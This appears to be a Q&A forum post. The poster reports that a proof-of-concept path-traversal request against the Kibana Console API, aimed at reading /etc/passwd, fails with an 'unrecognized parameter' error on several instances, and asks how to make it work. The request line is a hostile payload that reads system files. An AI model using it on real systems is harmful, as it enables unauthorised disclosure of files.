0

I have been trying to use this PoC code for the Arbitrary File inclusion vulnerability in Kibana Sense console.

The request:

/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

is returning the follow error:

{"error":{"root_cause":[{"type":"illegal_argument_exception","reason":"request [/api/console/api_server] contains unrecognized parameter: [sense_version]"}],"type":"illegal_argument_exception","reason":"request [/api/console/api_server] contains unrecognized parameter: [sense_version]"},"status":400}

I have received this error against multiple instances, so I think there needs to be some configuration change performed before using this request.

1

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.